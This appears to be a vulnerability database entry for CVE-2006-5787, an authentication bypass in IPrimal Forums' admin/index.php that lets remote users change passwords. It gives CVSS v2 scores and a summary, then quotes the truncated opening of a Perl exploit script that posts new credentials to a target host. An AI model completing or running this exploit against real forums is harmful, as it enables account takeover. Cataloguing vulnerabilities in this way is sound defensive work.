7.5
CVSSv2

CVE-2006-5787

Published: 07/11/2006 Updated: 19/10/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

admin/index.php in IPrimal Forums as of 20061105 allows remote malicious users to bypass authentication and modify user passwords via a direct request, possibly related to an authentication issue in admin/chk_admin.php.

Vulnerable Product Search on Vulmon Subscribe to Product

iprimal iprimal forums

Exploits

#!perl #ipigrouporg/downloads/forumszip #Bl0od3r #Germany #shoutzz to all members of dC3 crew ,matrix_killer,eddie14 #special to str0ke use IO::Socket; if (@ARGV<4) { &header; } else { &start }; sub start() { $host=$ARGV[0]; $path=$ARGV[1]; $user=$ARGV[2]; $passwd=$ARGV[3]; $post="usersname="$user"&password="$passwd"&am ...